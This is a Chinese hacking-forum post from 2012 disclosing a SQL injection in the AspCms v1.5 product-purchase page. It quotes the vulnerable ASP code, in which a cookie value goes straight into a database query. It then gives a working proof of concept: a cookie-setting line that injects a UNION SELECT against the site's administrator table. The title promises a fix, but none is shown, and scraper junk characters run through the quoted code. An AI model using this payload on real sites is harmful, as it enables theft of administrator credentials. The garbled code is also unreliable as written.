找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2330|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
/ u. q% B5 ]+ s. L8 @也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。" J; d# _+ _: \% l
废话不多说,看代码:
$ T+ x, U4 ?+ V# W% B8 a9 }3 e+ o5 N  D9 |
<%) T6 k! Y0 C/ z5 u! O7 a
5 g: n/ O0 h0 y5 Y5 {; ?1 ~% Y# x
if action = "buy" then
. d/ @: b- B$ U7 ], h3 n& t/ q" U" Y! t3 s3 t
        addOrder()$ v& }% F( X0 I2 G9 e" t1 `

: t$ b! w. E: B) d* o: L, o9 relse% V) e8 a, R: B
" r3 M& Z! s% n1 \9 x; y2 G
        echoContent()3 M4 m0 ]. g3 g. d4 @- @

" b7 B, Z& e9 Y( j& ^' E. Jend if+ R8 s3 p: [: Y5 N

7 y  J# {% Q# P3 V8 }/ m! `2 V: W) @3 |2 E) T) b9 }

: w- g' z7 V+ |$ J……略过+ q+ v1 A$ `' q" {
3 d- t+ a( m& o) [1 s7 f+ E  m! E- j- x
1 M) s$ E) C3 B0 N6 Q/ j+ {
: I7 X' N. t5 ?4 z/ N+ ~
Sub echoContent()6 T! g( F( n& e  \7 v! o2 P. A
$ `7 |; N0 u7 k% `3 I6 Y
        dim id. @0 }9 n* K' I$ }( N
: d! j0 L1 e; k  i# R( j& C1 E, _# Z
        id=getForm("id","get")
+ s7 m5 G4 S) j( ^1 y  D$ K5 P. B) l! x/ j0 J/ C+ D
        0 \& N) x/ {1 n4 e, Y: \
+ _2 A3 c+ v3 g' J
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 0 L5 R( X2 g% |- i! C5 w7 r6 p

7 E0 j# @: A: X! m# _        
" y" O  \, U" h) B8 s8 k, w/ p, Y
$ z- U; J5 _9 r  K        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")9 R. H5 N, L( U- k4 k

9 U) [( l, V3 F        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
+ [- C# E# t" ]+ b, m2 b3 z- p, X4 c! i4 D
        Dim templatePath,tempStr( J4 b5 m; C: O9 H  R( R3 Q
: G" @2 ?- F4 _
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
: U& U" w' S! e/ `  Q7 E: Z4 r6 Q& P) Q) k7 V7 D$ d
9 O; U! a, U) A* T

# a) O" D+ e5 u4 Y' h+ \0 ^/ V        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")% _0 S5 S. W! M& C2 j
2 E% O; H2 \  W6 j$ P
        selectproduct=rsObj(0)% V# I4 K* L! R7 p( v

' a; I7 Q: u6 T6 S9 N1 y" k4 F% Q% r7 K        
; N+ a3 c5 F5 }; z8 V0 x/ `7 ?; p) s6 x
        Dim linkman,gender,phone,mobile,email,qq,address,postcode, W3 c' {7 ^) N+ Z4 k. \/ V6 z9 F

1 H! a9 E" Q7 ~$ h9 F! w/ o        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
; V2 i; m0 K- a! w/ P; h% p$ K
. W* V& x$ m9 d, N' }; t' [. h2 V        if rCookie("loginstatus")=1 then  
" x* P0 N- T/ B8 s* i
* p1 A6 P! ?0 g                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")* C) p5 \( C! f$ H

1 Q: E1 D3 ~+ v; Y$ I9 R# ^                linkman=rsObj("truename"), k( W1 g1 {! j, ]0 G
) Y7 V1 K$ c7 E  j' U
                gender=rsObj("gender")$ L; S1 {) t, v: K3 V* q# Z

4 d; b+ ]. S  w, P# N, r" N# m                phone=rsObj("phone"): U; A- K! D/ F- p

, }; |7 E8 |8 L& C1 s                mobile=rsObj("mobile")
# H) M; I. S0 [0 P8 r' t+ n: C" ?- Y' v+ e
                email=rsObj("email")5 i, t; x1 [' L; G( U" B5 v

7 `8 ^9 D% g. G) D( q: V$ G                qq=rsObj("qq")
0 f. j9 S% Q. K2 f4 ]) X  |3 j# H3 L
                address=rsObj("address")* @7 B1 B' z$ v, N" |) G  W

8 _) B7 b& o9 `" k. {, x8 n9 w: K                postcode=rsObj("postcode")
  g  T  F) a5 z) t" b& E% G' ^, S2 n) B8 P% a' P
        else + w5 ?/ Q8 h* V4 N7 r

: [  _- k; f% D                gender=1/ b4 W0 K" c' ]7 W5 V+ w( p
9 A; \5 V) }; z7 G& i
        end if' w; A: X8 H1 `6 Z2 b2 [

" H! J/ m, s: j4 y0 ?1 S        rsObj.close()6 J& P8 y( U7 W* }
* `' z; n+ Y( P, d: H0 v- g5 y
               
- H) W; k4 u! F, ~! d: q. ~  K$ e% g, q( F6 i
        with templateObj   O; {3 ]6 G4 e6 m
" K8 z; R) X. }; K. Z! i# R
                .content=loadFile(templatePath)        # y3 {2 }& p" i3 U7 C
3 `5 O; t' x9 `
                .parseHtml()
3 Q9 m$ b0 _# H% l! j) A
/ ?2 G7 i' V, D2 x                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)) \7 C* y, r5 G
1 G& e4 Q  O  R6 Y
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                / ?3 v$ p( a- ~

; c3 h: J# j8 B& ]" I                .content=replaceStr(.content,"[aspcms:gender]",gender)                4 w" z' ~2 U8 T
: t/ X8 _7 X  G8 c
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
- C" A$ z8 H% s: y9 ?% u
: E) H. U4 V6 x6 y                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                  a/ I4 M3 Q1 z! v! K
2 [2 _; E- E  X# z, l3 m+ w
                .content=replaceStr(.content,"[aspcms:email]",email)                        - e+ }$ ^0 T6 X2 P

* H6 H! }+ {  a( L- t0 F% o                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
4 a& b: S6 g3 o+ V, P2 s+ T& `
* f- r6 l% _5 c: X                .content=replaceStr(.content,"[aspcms:address]",address)                        
; g, _$ R3 U" m5 u0 B9 v9 O; U+ t; k6 g
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
# [7 ]" d6 a+ ?' V) p
9 N& ^/ ^* y" a5 V! h, q                .parseCommon()                 
& Q1 t: ]0 T7 S. ]  f8 d
. t5 |4 U" _) m7 @4 `  }                echo .content
- `9 m% H& y4 V) g* x! e* b  B1 z8 W% H: t
        end with3 `8 U2 K" A1 P1 p  i
' r0 D, _# O# u3 U9 T/ M
        set templateobj =nothing : terminateAllObjects4 g: |2 d! A# _. B! J+ O- a. u; V
% d  ~8 i0 j, Y" M  p" `
End Sub# n; g/ F. l% X2 {1 e* y
漏洞很明显,没啥好说的
+ B) e( [5 \: _% B0 V: a0 npoc:9 @% d3 `1 e: }+ F7 J

& ]- g' z0 b) L' F% d. e6 L( k; @javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​3 d6 h, ^7 i* K6 y/ S

8 l* ]7 y8 O. ?9 m- [! s0 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表